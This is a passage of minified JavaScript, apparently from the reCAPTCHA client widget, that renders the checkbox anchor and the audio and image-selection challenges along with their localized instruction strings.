function(F,N,x){((HA((DU(((U$.call(this,F,x),this).$E=new q8,this.$E),"recaptcha-anchor"),this).$E,"rc-anchor-checkbox"),Rf)(this,this.$E),this.eY=null,this).AX=N}),l7=(((((K(XQ,U$),T=XQ.prototype,T.Z=function(){(this.w=tn(wz,{size:this.AX,cV:this.cV,iR:"Recaptcha requires verification",G2:n(this.Uw,1),CL:n(this.Uw,2)}),this).L4(this.M())},T.$I=function(){((this.$E.rS(!0),this.$E).M().focus(),XQ.O.$I).call(this),this.u9(!1)},T.u9=function(F,N,x){(x7((e_(this.M(),"rc-anchor-error",F),this.F("rc-anchor-error-msg-container")),
F),F)&&(x=this.F("rc-anchor-error-msg"),v9(x),Mu(x,N))},T.eF=function(){(XQ.O.eF.call(this),this).$E.o5(),this.$E.M().focus()},T.$B=function(){this.$E.M().focus()},T.L4=function(F,N){((N=((F=(XQ.O.L4.call(this,F),this.F("rc-anchor-checkbox-label")),F).setAttribute("id","recaptcha-anchor-label"),this.$E),N.M0)?(N.bO(),N.I=F,N.Y()):N.I=F,this.$E).render(this.F("rc-anchor-checkbox-holder"))},T).xz=function(){this.$E.rS(!1)},T.fZ=function(){this.$E.rS(!1)},T.Y=function(){y((XQ.O.Y.call(this),this)).R(this.$E,
["before_checked","before_unchecked"],h(function(F){("before_checked"==F.type&&this.dispatchEvent("b"),F).preventDefault()},this)).R(document,"focus",function(F){F.target&&0==F.target.tabIndex||this.$E.M().focus()},this)},T).q7=function(){return y7(d("recaptcha-checkbox",void 0))},T.dV=function(){return XQ.O.dV.call(this),this.$E.dV()},T).handleError=function(F,N){this.$E.rS((N=ca(F),!1)),2!=F&&(this.$E.n4(!1),this.u9(!0,N),ZB(this,N))},T).Qk=function(){((XQ.O.Qk.call(this),this).$E.o5(),this.$E).M().focus()},
function(F,N,x){this.eY=(U$.call(this,F,x),null),this.$z=N}),tM=(K(l7,U$),function(F,N,x,S){this.$=new ag((N=(VD((VD((N=YD(Ty((F=((N=new b1((x=((x=n(((N=f7.iO(),Ke(N,M(F,z6,3)),Rt)(),M(F,jF,6)),1),3)==x?S=new l7(n(M(F,jF,6),2),n(M(F,jF,6),3),M(F,N9,12)):S=new XQ(n(M(F,jF,6),2),x,M(F,N9,12)),S.render(document.body),new C7),Jj(N,"JS_BR"))),N).set(M(F,M8,1)),N.load(),new Sm(x,F,N)),"api2/webworker.js"))),N),"hl","en-GB"),N),"v","5fbZx3NV5xhaMoMLrZV3TkN4"),new Sr(N.toString())),S),F,N)}),nV=(kX(((l7.prototype.q7=
function(){return y7(d("rc-anchor-invisible",void 0))},l7).prototype.Z=function(F){this.w=F=tn(OZ,{iR:"Recaptcha requires verification",G2:n(this.Uw,1),CL:n(this.Uw,2),cV:this.cV,ha:this.$z,DH:!1}),o$(function(N,x){65<iJ((N=((160<(x=(N=F.querySelectorAll(".rc-anchor-invisible-text .rc-anchor-pt a"),F.querySelector(".rc-anchor-invisible-text span")),iJ(N[0]).width+iJ(N[1]).width)||160<iJ(x).width)&&z1(d("rc-anchor-invisible-text",void 0),"smalltext"),F.querySelectorAll(".rc-anchor-normal-footer .rc-anchor-pt a")),
N)[0]).width+iJ(N[1]).width&&z1(d("rc-anchor-normal-footer",void 0),"smalltext")},this),this.L4(this.M())},"recaptcha.anchor.Main.init"),function(F){W_((new tM((F=new xu(JSON.parse(F)),F))).$)}),function(F){G(this,F,0,gz)}),B_=function(){return R('<div class="'+k("rc-footer")+'"><div class="'+k("rc-separator")+'"></div><div class="'+k("rc-controls")+'"><div class="'+k("primary-controls")+'"><div class="'+k("rc-buttons")+'"><div class="'+k("button-holder")+" "+k("reload-button-holder")+'"></div><div class="'+
k("button-holder")+" "+k("audio-button-holder")+'"></div><div class="'+k("button-holder")+" "+k("image-button-holder")+'"></div><div class="'+k("button-holder")+" "+k("help-button-holder")+'"></div><div class="'+k("button-holder")+" "+k("undo-button-holder")+'"></div></div><div class="'+k("verify-button-holder")+'"></div></div><div class="'+k("rc-challenge-help")+'" style="display:none" tabIndex="0"></div></div></div>')},rz=function(F,N){return R(((F=(N="",F)||{},F.Lt)||(N+="Press R to replay the same challenge. "),
N+'Press the refresh button to get a new challenge. <a href="https://support.google.com/recaptcha/#6175971" target="_blank">Learn how to solve this challenge.</a>'))},v_=function(){return R("<center>Your browser doesn't support audio. Please update or upgrade your browser.</center>")},GM=function(F){return R((F='<a class="'+(F=F.kI,k("rc-audiochallenge-tdownload-link"))+'" target="_blank" href="'+k(Fv(F))+'" title="',F+="Alternatively, download audio as MP3".replace(ad,cX),F)+'"></a>')},M3=function(F){return R('<div class="'+
k((F=F.kI,"rc-audiochallenge-play-button"))+'"></div><audio id="audio-source" src="'+k(Fv(F))+'" style="display: none"></audio>')},b7=function(F){return R((F=F.$X,'<span class="'+k("rc-audiochallenge-tabloop-begin")+'" tabIndex="0"></span><div class="'+k("rc-audiochallenge-error-message")+'" style="display:none" tabIndex="0"></div><div class="'+k("rc-audiochallenge-instructions")+'" id="')+k(F)+'" aria-hidden="true"></div><div class="'+k("rc-audiochallenge-control")+'"></div><div id="'+k("rc-response-label")+
'" style="display:none"></div><div class="'+k("rc-audiochallenge-response-field")+'"></div><div class="'+k("rc-audiochallenge-tdownload")+'"></div>'+Qj(B_())+'<span class="'+k("rc-audiochallenge-tabloop-end")+'" tabIndex="0"></span>')},j0=(K(nV,g),function(F){G(this,F,0,dz)}),dz=[(K(j0,g),2)],gz=[1],Dc=(j0.prototype.M=function(){return n(this,1)},function(F,N,x,S,U,Z){HA(this,((this.X=((Z=zo(wo,F||"rc-button-default"),Av).call(this,N,Z,S),U||null),this).$=x||0,this.I=F||"rc-button-default","goog-inline-block"))}),
CV=((q(Dc,Av),Dc.prototype).n4=function(F,N){if(Av.prototype.n4.call(this,F),F){if(this.$=F=this.$,N=this.M())0<=F?N.tabIndex=this.$:N2(N,!1)}else(F=this.M())&&N2(F,!1)},Dc.prototype.Y=function(F,N,x,S){(y(((x=(S=(((F=this,Av.prototype.Y).call(this),N=this.M(),N).setAttribute("id",ir(this)),N.tabIndex=this.$,N).click,!1),Object).defineProperty(N,"click",{get:function(){function U(){(x=!0,S).call(this)}return U.toString=function(){return S.toString()},U}}),this)).R(this,"action",function(U,Z){F.isEnabled()&&
(U=new j0,Z=w$(F.I),U=r(U,1,Z),x&&zO(U,2,1),F.X(U))}),y(this)).R(new od(this.M(),!0),"action",function(){this.isEnabled()&&this.G9.apply(this,arguments)})},function(F){G(this,F,"uvresp",null)}),f=((K(CV,g),CV.prototype.Gx=function(){return n(this,3)},CV.prototype).setTimeout=function(F){return r(this,3,F)},function(F,N,x,S){(this.SY=((this.AM=((this.JM=(this.fq=(this.I=((this.C=this.AX=(this.vr=(dZ.call(this),x),new b(F,N)),this).lE=S||!1,null),this.response={},[]),i7(this,"rc-button",void 0,"recaptcha-reload-button",
"Get a new challenge","rc-button-reload")),this.J=i7(this,"rc-button",void 0,"recaptcha-audio-button","Get an audio challenge","rc-button-audio"),this).BV=i7(this,"rc-button",void 0,"recaptcha-image-button","Get a visual challenge","rc-button-image"),i7(this,"rc-button",void 0,"recaptcha-help-button","Help","rc-button-help",!0)),this).hk=i7(this,"rc-button",void 0,"recaptcha-undo-button","Undo","rc-button-undo",!0),i7(this,void 0,"Verify","recaptcha-verify-button",void 0,void 0,void 0)),this).NQ=
new nV}),Rg=((((q(f,(CV.prototype.ow=function(){return n(this,4)},dZ)),f.prototype).Y=function(F){(y((y((y(((F=this,dZ.prototype.Y).call(this),y(this).R(this.JM,"action",function(){((this.Sf(!1),this).QW(!1),this).dispatchEvent("g")}),this)).R(this.J,"action",function(){(this.Sf(!1),this).dispatchEvent("h")}),y(this).R(this.BV,"action",function(){this.Sf(!1),this.dispatchEvent("i")}),this)).R(this.AM,"action",function(){yp(this),this.dispatchEvent("j")}),y(this).R(this.hk,"action",this.FO),this)).R(this.M(),
"keyup",function(N){27==N.keyCode&&this.dispatchEvent("e")}),y(this)).R(this.SY,"action",function(){return j1(F)})},f.prototype.L4=function(F){(x7((F=((F=((F=((F=(F=(dZ.prototype.L4.call(this,F),this).F("reload-button-holder"),this.JM.render(F),this).F("audio-button-holder"),this).J.render(F),this.F("image-button-holder")),this).BV.render(F),this).F("help-button-holder"),this).AM.render(F),this.F("undo-button-holder")),this.hk.render(F),this.hk.M()),!1),F=this.F("verify-button-holder"),this.SY.render(F),
this).lE?x7(this.J.M(),!1):x7(this.BV.M(),!1)},f).prototype.jf=P("vr"),f.prototype).tX=function(){return Tg(this.AX)},function(F,N,x){if(F.C.width!=N.width||F.C.height!=N.height)F.C=N,x&&Qp(F,sh),F.dispatchEvent("d")}),j1=((f.prototype.FO=L(),f.prototype).Qz=function(F,N,x){return(F=(x=void 0===x?"":x,x=new Is(Ty("api2/payload")+x),x.L.set("p",F),FI)(),x.L.set("k",F),N)&&x.L.set("id",N),x.toString()},function(F,N){N=void 0===N?"k":N,F.Fa()||(F.Sf(!1),F.dispatchEvent(N))}),ks=function(F,N,x,S,U){Tg((U=
(F.Sf((F.response={},!0)),h)(function(){this.Wu(N,x,S)},F),F.C)).width!=F.tX().width||Tg(F.C).height!=F.tX().height?(Qp(F,U),Rg(F,F.tX())):U()},u7=function(F,N,x){return td((F=(x=g$((x=(N=(F.K4(),F.response),F.NQ).p4(),x),"enterDocument"),N.e=x,F.response),F))?F="":(F=eu(F),F=lg(Jd(F),3)),F},zM=function(F){D(function(){try{this.DR()}catch(N){if(!X)throw N;}},X?300:100,F)},Qp=(f.prototype.Fa=xX(!1),function(F,N){F.fq.push(N)}),Ig=function(F,N){return new b((xw||S0?(N=screen.availHeight,F=screen.availWidth):
ea||N4?(F=window.outerWidth||screen.availWidth||screen.width,N=window.outerHeight||screen.availHeight||screen.height,q4||(N-=20)):(N=window.outerHeight||window.innerHeight||document.body.clientHeight,F=window.outerWidth||window.innerWidth||document.body.clientWidth),F||0),N||0)},i7=(f.prototype.Sf=((f.prototype.DR=function(){this.J.M().focus()},f.prototype).QW=function(F,N,x){if((N=void 0===N?null:N,F)||!N||ey(N))F&&(x=this.JX(!0,N)),!N||F&&!x||(x=Tg(this.C),x.height+=(F?1:-1)*(iJ(N).height+NK(N,
"margin").top+NK(N,"margin").bottom),Rg(this,x,!F)),F||this.JX(!1,N)},function(F){((((this.JM.n4(F),this.J).n4(F),this.BV).n4(F),this.SY.n4(F),this.AM).n4(F),yp)(this,!1)}),function(F,N,x,S,U,Z,a){return Rf(F,((((N=new Dc(N,x,void 0,F.U,function(c){return kw(F.NQ,c)}),S)&&DU(N,S),U&&sc(N,U),Z)&&HA(N,Z),a)&&pO(N,16,!0),N)),N}),yp=function(F,N,x,S,U){if((S=!(x=d("rc-challenge-help",void 0),ey(x)),null)==N||N==S){if(S){if(!(F.MY(x),nF(x)))return;(S=(x7(x,!0),iJ(x).height),Qp)(F,h(function(){Um&&TO("10")||
x.focus()},F))}else S=-1*iJ(x).height,v9(x),x7(x,!1);Rg(F,((U=Tg(F.C),U).height+=S,U))}},e1=(f.prototype.gV=function(F){F&&(0==this.fq.length?zM(this):(F=this.fq.slice(0),this.fq=[],w(F,function(N){N()})))},f.prototype.JX=function(F,N){if(!N||ey(N)==F)return!1;return x7(N,F),N2(N,F),!0},function(F,N,x,S){FM((N=(S=F.SY,N||"Verify"),S.M()),N),S.l9=N,e_(F.SY.M(),"rc-button-red",!!x)}),fV=(f.prototype.K4=L(),function(F,N,x){for(N=(x=0,F||["rc-challenge-help"]);x<N.length;x++)if((F=d(N[x]))&&ey(F)&&ey(ut(F))){((N=
"A"==F.tagName&&F.hasAttribute("href")||"INPUT"==F.tagName||"TEXTAREA"==F.tagName||"SELECT"==F.tagName||"BUTTON"==F.tagName?!F.disabled&&(!w7(F)||jv(F)):w7(F)&&jv(F))&&X&&(N=void 0,!y4(F.getBoundingClientRect)||X&&null==F.parentElement?N={height:F.offsetHeight,width:F.offsetWidth}:N=F.getBoundingClientRect(),N=null!=N&&0<N.height&&0<N.width),N)?F.focus():B9(F).focus();break}}),F7=(f.prototype.MY=L(),function(F,N,x){N&&Object.defineProperty(N,x,{get:function(S,U,Z){return(kw((U=(U=(Z=(U=new (S=F.NQ,
j0),w$(x)),r(U,1,Z)),zO)(U,2,2),S),U),N).attributes[x].value}})}),Nl=function(F,N){BA.call(this,"string"===typeof F?F:"Type the text",N)},xI=(q(Nl,BA),Nl.prototype.Z=function(){(((((BA.prototype.Z.call(this),this).M().setAttribute("id",ir(this)),this).M().setAttribute("autocomplete","off"),this.M()).setAttribute("autocorrect","off"),this.M().setAttribute("autocapitalize","off"),this).M().setAttribute("spellcheck","false"),this).M().setAttribute("dir","ltr"),z1(this.M(),"rc-response-input-field")},
function(F,N){e_(F.M(),"rc-response-input-field-error",N)}),SI=new b(280,275),o5=new b(280,235),Ux=function(){(Wl(this,(this.cu=(Wl(this,(DU((this.X=(this.$=this.P=(this.K=(ea||N4||S0||xw?f.call(this,o5.width,o5.height,"audio",!0):f.call(this,SI.width,SI.height,"audio",!0),ea||N4||S0)||xw,null),new Nl("")),this.X),"audio-response"),this.X)),new LL),this).cu),this).L=null},Z9=(q(Ux,f),T=Ux.prototype,function(){return R('Draw a box around the object by clicking on its corners as in the animation above. If not clear, or to get a new challenge, reload the challenge.<a href="https://support.google.com/recaptcha" target="_blank">Learn more.</a>')}),
rZ=function(F,N,x,S,U,Z,a){return R((a=F.rowSpan,S=(Z=(U=F.Wr,F).FD,x=F.v6,N=F.zx,F).hM,F=F.colSpan,a=SF(a,4)&&SF(F,4)?' class="'+k("rc-image-tile-44")+'"':SF(a,4)&&SF(F,2)?' class="'+k("rc-image-tile-42")+'"':SF(a,1)&&SF(F,1)?' class="'+k("rc-image-tile-11")+'"':' class="'+k("rc-image-tile-33")+'"','<div class="'+k("rc-image-tile-target")+'"><div class="'+k("rc-image-tile-wrapper")+'" style="width: '+k(T6(Z))+"; height: "+k(T6(U))+'"><img'+a+" src='"+k(L7(N)))+"' style=\"top:"+k(T6(-100*x))+"%; left: "+
k(T6(-100*S))+'%"><div class="'+k("rc-image-tile-overlay")+'"></div></div><div class="'+k("rc-imageselect-checkbox")+'"></div></div>')},a5=function(){return R('Tap the centre of the objects in the image according to the instructions above. If not clear, or to get a new challenge, reload the challenge.<a href="https://support.google.com/recaptcha" target="_blank">Learn more.</a>')},cT=(T.GU=(T.Z=function(){this.w=tn(b7,(f.prototype.Z.call(this),{$X:"audio-instructions"})),this.L4(this.M())},T.O3=(T.Fa=
function(){return Ub((this.L&&this.L.pause(),id(this.X)))?(tH(document,"audio-instructions").focus(),!0):!1},function(F,N){this.L&&(F=this.L,N=f7.iO().get(),N=n(N,6),N=null==N?N:+N,F.playbackRate=null==N?1:N,this.L.load(),this.L.play())}),T.Y=function(F){(this.$=((F=((f.prototype.Y.call(this),this).P=this.F("rc-audiochallenge-control"),this.X.render(this.F("rc-audiochallenge-response-field")),this.X.M()),y(this).R(d("rc-audiochallenge-tabloop-begin"),"focus",function(){fV()})).R(d("rc-audiochallenge-tabloop-end"),
"focus",function(){fV(["rc-audiochallenge-error-message","rc-audiochallenge-play-button"])}).R(F,"keydown",function(N){N.ctrlKey&&17==N.keyCode&&this.O3()}),this.F("rc-audiochallenge-error-message")),cI)(this.cu,document),y(this).R(this.cu,"key",this.GU)},function(F){13==F.keyCode?j1(this):this.K&&this.$&&0<r7(this.$).length&&this.QW(!1)}),function(){return R('<div id="rc-imageselect"><div class="'+k("rc-imageselect-response-field")+'"></div><span class="'+k("rc-imageselect-tabloop-begin")+'" tabIndex="0"></span><div class="'+
k("rc-imageselect-payload")+'"></div>'+Qj(B_())+'<span class="'+k("rc-imageselect-tabloop-end")+'" tabIndex="0"></span></div>')}),WT=(T.gV=function(F){(f.prototype.gV.call(this,F),!F)&&this.L&&this.L.pause()},function(F,N,x){if(SF((x=(N=x||N,F.jY),x),"canvas")){x='<div id="rc-imageselect-candidate" class="'+(F=(N=F.label,F.Ak),k("rc-imageselect-candidates"))+'"><div class="'+k("rc-canonical-bounding-box")+'"></div></div><div class="'+k("rc-imageselect-desc")+'">';switch(Q4(N)?N.toString():N){case "TileSelectionStreetSign":x+=
"Select around the <strong>street signs</strong>";break;case "vehicle":case "/m/07yv9":case "/m/0k4j":x+="Outline the <strong>vehicles</strong>";break;case "USER_DEFINED_STRONGLABEL":x+="Select around the <strong>"+Qj(F)+"s</strong>";break;default:x+="Select around the object"}F=(F=R(x+"</div>"),Qj(F))}else F=SF(x,"multiselect")?Qj(Lz(F,N)):Qj(HT(F,N));return R((F=(F=(F='<div class="'+k("rc-imageselect-instructions")+'"><div class="'+k("rc-imageselect-desc-wrapper")+'">'+F+'</div><div class="'+k("rc-imageselect-progress")+
'"></div></div><div class="'+k("rc-imageselect-challenge")+'"><div id="rc-imageselect-target" class="'+k("rc-imageselect-target")+'" dir="ltr" role="presentation" aria-hidden="true"></div></div><div class="'+k("rc-imageselect-incorrect-response")+'" style="display:none">',F)+'Please try again.</div><div class="'+(k("rc-imageselect-error-select-more")+'" style="display:none">'),F+'Please select all matching images.</div><div class="'+(k("rc-imageselect-error-dynamic-more")+'" style="display:none">')),
F=F+'Please also check the new images.</div><div class="'+(k("rc-imageselect-error-select-something")+'" style="display:none">'),F+"Please select around the object, or reload if there are none.</div>"))}),PT=(T.DR=(T.Wu=function(F,N,x){return(CO((Db((this.QW(!!x),this.X)),this.X),!0),this.K||(gZ(this.F("rc-audiochallenge-tdownload"),GM,{kI:this.Qz(F,void 0,"/audio.mp3")}),F7(this,B9(this.F("rc-audiochallenge-tdownload")),"href")),document.createElement("audio").play?(N&&M(N,Y1,8)&&(N=M(N,Y1,8),n(N,
1)),N=this.F("rc-audiochallenge-instructions"),Mu(N,"Press PLAY and enter the words you hear"),this.K||Mu(tH(document,"rc-response-label"),"Press CTRL to play again."),F=this.Qz(F,""),gZ(this.P,M3,{kI:F}),this.L=tH(document,"audio-source"),F7(this,this.L,"src"),F=this.F("rc-audiochallenge-play-button"),N=i7(this,void 0,"PLAY",void 0,void 0,void 0,void 0),Wl(this,N),N.render(F),xb(N.M(),"labelledby",["audio-instructions","rc-response-label"]),y(this).R(N,"action",this.O3)):gZ(this.P,v_),lF)()},function(){!(this.$&&
0<r7(this.$).length)||Um&&0<=Hw(UA,10)?d("rc-audiochallenge-play-button",void 0).children[0].focus():this.$.focus()}),function(F,N,x,S,U,Z,a,c,H,W,E,V){for(Z=(S=(U=(x=(N=(S=F.rowSpan,x||N),F.colSpan),"<table")+(SF(S,4)&&SF(x,4)?' class="'+k("rc-imageselect-table-44")+'"':SF(S,4)&&SF(x,2)?' class="'+k("rc-imageselect-table-42")+'"':' class="'+k("rc-imageselect-table-33")+'"')+"><tbody>",Math.max(0,Math.ceil(S-0))),0);Z<S;Z++){for(H=(c=Math.max(0,Math.ceil(x-(a=(U+="<tr>",1*Z),0))),0);H<c;H++){for(E in E=
(W=(U+='<td role="button" tabindex="0" class="'+(W=1*H,k)("rc-imageselect-tile")+"\" aria-label='",U+="Image challenge".replace(ad,cX),{v6:a,hM:W}),void 0),V=F,V)E in W||(W[E]=V[E]);U+="'>"+rZ(W,N)+"</td>"}U+="</tr>"}return R(U+"</tbody></table>")}),HT=(T.JX=function(F,N,x){if(N)return x=!!this.$&&0<r7(this.$).length,x7(this.$,F),xI(this.X,F),v9(this.$),F&&Mu(this.$,"Multiple correct solutions required \u2013 please solve more."),F!=x;return!(this.QW(F,this.$),1)},function(F,N,x,S,U,Z){N="",x=F.label;
switch(Q4(x)?x.toString():x){case "stop_sign":N+='<div class="'+k("rc-imageselect-candidates")+'"><div class="'+k("rc-canonical-stop-sign")+'"></div></div><div class="'+k("rc-imageselect-desc")+'">';break;case "vehicle":case "/m/07yv9":case "/m/0k4j":N+='<div class="'+k("rc-imageselect-candidates")+'"><div class="'+k("rc-canonical-car")+'"></div></div><div class="'+k("rc-imageselect-desc")+'">';break;case "road":N+='<div class="'+k("rc-imageselect-candidates")+'"><div class="'+k("rc-canonical-road")+
'"></div></div><div class="'+k("rc-imageselect-desc")+'">';break;case "/m/015kr":N+='<div class="'+k("rc-imageselect-candidates")+'"><div class="'+k("rc-canonical-bridge")+'"></div></div><div class="'+k("rc-imageselect-desc")+'">';break;default:N+='<div class="'+k("rc-imageselect-desc-no-canonical")+'">'}S=(x="",F.jY);switch(Q4(S)?S.toString():S){case "tileselect":case "multicaptcha":F=(Z=(S=(U=F.Ak,F.jY),""),F.label);switch(Q4(F)?F.toString():F){case "TileSelectionStreetSign":case "/m/01mqdt":Z+=
"Select all squares with <strong>street signs</strong>";break;case "TileSelectionBizView":Z+="Select all squares with <strong>business names</strong>";break;case "stop_sign":case "/m/02pv19":Z+="Select all squares with <strong>stop signs</strong>";break;case "sidewalk":case "footpath":Z+="Select all squares with a <strong>pavement</strong>";break;case "vehicle":case "/m/07yv9":case "/m/0k4j":Z+="Select all squares with <strong>vehicles</strong>";break;case "road":case "/m/06gfj":Z+="Select all squares with <strong>roads</strong>";
break;case "house":case "/m/03jm5":Z+="Select all squares with <strong>houses</strong>";break;case "/m/015kr":Z+="Select all squares with <strong>bridges</strong>";break;case "/m/0cdl1":Z+="Select all squares with <strong>palm trees</strong>";break;case "/m/014xcs":Z+="Select all squares with <strong>pedestrian crossings</strong>";break;case "/m/015qff":Z+="Select all squares with <strong>traffic lights</strong>";break;case "/m/01pns0":Z+="Select all squares with <strong>fire hydrants</strong>";break;
case "/m/01bjv":Z+="Select all squares with <strong>buses</strong>";break;case "/m/0pg52":Z+="Select all squares with <strong>taxis</strong>";break;case "/m/04_sv":Z+="Select all squares with <strong>motorcycles</strong>";break;case "/m/0199g":Z+="Select all squares with <strong>bicycles</strong>";break;case "/m/015qbp":Z+="Select all squares with <strong>parking meters</strong>";break;case "/m/01lynh":Z+="Select all squares with <strong>stairs</strong>";break;case "/m/01jk_4":Z+="Select all squares with <strong>chimneys</strong>";
break;case "/m/013xlm":Z+="Select all squares with <strong>tractors</strong>";break;case "/m/07j7r":Z+="Select all squares with <strong>trees</strong>";break;case "/m/0c9ph5":Z+="Select all squares with <strong>flowers</strong>";break;case "USER_DEFINED_STRONGLABEL":Z+="Select all squares that match the label: <strong>"+Qj(U)+"</strong>";break;default:Z+="Select all images below that match the one on the right"}F=(SF(S,"multicaptcha")&&(Z+='<span class="'+k("rc-imageselect-carousel-instructions")+
'">',Z+="If there are none, click Skip.</span>"),R)(Z),x+=F;break;default:F=(U="",Z=(S=F.jY,F.Ak),F.label);switch(Q4(F)?F.toString():F){case "1000E_sign_type_US_stop":case "/m/02pv19":U+="Select all images with <strong>stop signs</strong>.";break;case "signs":case "/m/01mqdt":U+="Select all images with <strong>street signs</strong>.";break;case "ImageSelectStoreFront":case "storefront":case "ImageSelectBizFront":case "ImageSelectStoreFront_inconsistent":U+="Select all images with a <strong>shop front</strong>.";
break;case "/m/05s2s":U+="Select all images with <strong>plants</strong>.";break;case "/m/0c9ph5":U+="Select all images with <strong>flowers</strong>.";break;case "/m/07j7r":U+="Select all images with <strong>trees</strong>.";break;case "/m/08t9c_":U+="Select all images with <strong>grass</strong>.";break;case "/m/0gqbt":U+="Select all images with <strong>shrubs</strong>.";break;case "/m/025_v":U+="Select all images with a <strong>cactus</strong>.";break;case "/m/0cdl1":U+="Select all images with <strong>palm trees</strong>";
break;case "/m/05h0n":U+="Select all images of <strong>nature</strong>.";break;case "/m/0j2kx":U+="Select all images with <strong>waterfalls</strong>.";break;case "/m/09d_r":U+="Select all images with <strong>mountains or hills</strong>.";break;case "/m/03ktm1":U+="Select all images of <strong>bodies of water</strong> such as lakes or oceans.";break;case "/m/06cnp":U+="Select all images with <strong>rivers</strong>.";break;case "/m/0b3yr":U+="Select all images with <strong>beaches</strong>.";break;
case "/m/06m_p":U+="Select all images of <strong>the Sun</strong>.";break;case "/m/04wv_":U+="Select all images with <strong>the Moon</strong>.";break;case "/m/01bqvp":U+="Select all images of <strong>the sky</strong>.";break;case "/m/07yv9":U+="Select all images with <strong>vehicles</strong>";break;case "/m/0k4j":U+="Select all images with <strong>cars</strong>";break;case "/m/0199g":U+="Select all images with <strong>bicycles</strong>";break;case "/m/04_sv":U+="Select all images with <strong>motorcycles</strong>";
break;case "/m/0cvq3":U+="Select all images with <strong>pickup trucks</strong>";break;case "/m/0fkwjg":U+="Select all images with <strong>commercial lorries</strong>";break;case "/m/019jd":U+="Select all images with <strong>boats</strong>";break;case "/m/01lcw4":U+="Select all images with <strong>limousines</strong>.";break;case "/m/0pg52":U+="Select all images with <strong>taxis</strong>.";break;case "/m/02yvhj":U+="Select all images with a <strong>school bus</strong>.";break;case "/m/01bjv":U+=
"Select all images with a <strong>bus</strong>.";break;case "/m/07jdr":U+="Select all images with <strong>trains</strong>.";break;case "/m/02gx17":U+="Select all images with a <strong>construction vehicle</strong>.";break;case "/m/013_1c":U+="Select all images with <strong>statues</strong>.";break;case "/m/0h8lhkg":U+="Select all images with <strong>fountains</strong>.";break;case "/m/015kr":U+="Select all images with <strong>bridges</strong>.";break;case "/m/01phq4":U+="Select all images with a <strong>pier</strong>.";
break;case "/m/079cl":U+="Select all images with a <strong>skyscraper</strong>.";break;case "/m/01_m7":U+="Select all images with <strong>pillars or columns</strong>.";break;case "/m/011y23":U+="Select all images with <strong>stained glass</strong>.";break;case "/m/03jm5":U+="Select all images with <strong>a house</strong>.";break;case "/m/01nblt":U+="Select all images with <strong>a block of flats</strong>.";break;case "/m/04h7h":U+="Select all images with <strong>a lighthouse</strong>.";break;case "/m/0py27":U+=
"Select all images with <strong>a railway station</strong>.";break;case "/m/01n6fd":U+="Select all images with <strong>a shed</strong>.";break;case "/m/01pns0":U+="Select all images with <strong>a fire hydrant</strong>.";break;case "/m/01knjb":case "billboard":U+="Select all images with <strong>a billboard</strong>.";break;case "/m/06gfj":U+="Select all images with <strong>roads</strong>.";break;case "/m/014xcs":U+="Select all images with <strong>pedestrian crossings</strong>.";break;case "/m/015qff":U+=
"Select all images with <strong>traffic lights</strong>.";break;case "/m/08l941":U+="Select all images with <strong>garage doors</strong>";break;case "/m/01jw_1":U+="Select all images with <strong>bus stops</strong>";break;case "/m/03sy7v":U+="Select all images with <strong>traffic cones</strong>";break;case "/m/015qbp":U+="Select all images with <strong>parking meters</strong>";break;case "/m/01lynh":U+="Select all images with <strong>stairs</strong>";break;case "/m/01jk_4":U+="Select all images with <strong>chimneys</strong>";
break;case "/m/013xlm":U+="Select all images with <strong>tractors</strong>";break;default:F="Select all images that match the label: <strong>"+(Qj(Z)+"</strong>."),U+=F}F=(SF(S,"dynamic")&&(U+="<span>Click verify once there are none left.</span>"),R)(U),x+=F}return F=R(x),R(N+(F+"</div>"))}),T0=(T.K4=function(){CO((this.response.response=id(this.X),this).X,!1)},T.MY=function(F){gZ(F,rz,{Lt:this.K})},function(F,N){return(N=SF(F.Xj,(N="","imageselect"))?N+'Select each image that contains the object described in the text or in the image at the top of the UI. Then click Verify. To get a new challenge, click the reload icon. <a href="https://support.google.com/recaptcha" target="_blank">Learn more.</a>':
N+"Tap on any tiles you see with the object described in the text. If new images appear with the same object, tap those as well. When there are none left, click Verify. ",R)(N)}),Ex=function(F){return R((F=F.zx,'<div id="rc-canvas"><canvas class="'+k("rc-canvas-canvas")+'"></canvas><img class="'+k("rc-canvas-image"))+'" src="'+k(L7(F))+'"></div>')},Lz=function(F,N){N='<div class="'+k((F=F.label,"rc-imageselect-desc-no-canonical"))+'">';switch(Q4(F)?F.toString():F){case "TileSelectionStreetSign":N+=
"Tap the centre of the <strong>street signs</strong>";break;case "/m/0k4j":N+="Tap the centre of the <strong>cars</strong>";break;case "/m/04w67_":N+="Tap the centre of the <strong>postboxes</strong>"}return R(N+"</div>")},VW=new b(400,580),YI=function(F){this.RM=((this.q0=this.E3=(this.L=(this.X=(this.oM=(f.call(this,VW.width,VW.height,F||"imageselect"),1),null),{B:{V:null,element:null}}),null),this).hX=void 0,!1)},ql=((q(YI,f),YI.prototype).P=function(F,N,x,S){if((this.QW(!1),N=!F.selected,F).vl)for(F.selected=
!1,x=$I(this),S=0;S<x.length;S++)this.P(this.L.B.V.cE[x[S]]);(F=d("rc-imageselect-checkbox",(N?z1(F.element,"rc-imageselect-tileselected"):G1(F.element,"rc-imageselect-tileselected"),F.selected=N,F.vl||(this.L.B.V.WV+=N?1:-1),F.element)),x7)(F,N)},function(F,N,x,S,U,Z,a){if(x=(x=d("rc-imageselect-desc-no-canonical",(N=d("rc-imageselect-desc",F.X),F.X)),N)?N:x){for(a=((F=((a=(Z=d("rc-imageselect-desc-wrapper",(S=lt("STRONG",(U=lt("SPAN",x),x)),F.X)),Tg(F.C).width-2*NK(Z,"padding").left),N)&&(F=d("rc-imageselect-candidates",
F.X),a-=iJ(F).width),iJ(Z).height-2*NK(Z,"padding").top+2*NK(x,"padding").top),x.style).width=kH(a),0);a<S.length;a++)Vc(S[a],-1);for(S=0;S<U.length;S++)Vc(U[S],-1);Vc(x,F)}}),Ox=(YI.prototype.MM=(YI.prototype.Z=(YI.prototype.L4=(YI.prototype.xE=function(F,N,x,S,U){return((S=((S=sp((w((U=(IJ((F=tn(PT,(S=mp(this,(G1((x=n((N=n(M(this.q0,mA,1),4),M(this.q0,mA,1)),5),this.L.B).element,"rc-imageselect-table-shrink"),N),x),S.zx=F,S)),this.F("rc-imageselect-target")),F),[]),sp)(document,"td",null,F),function(Z,
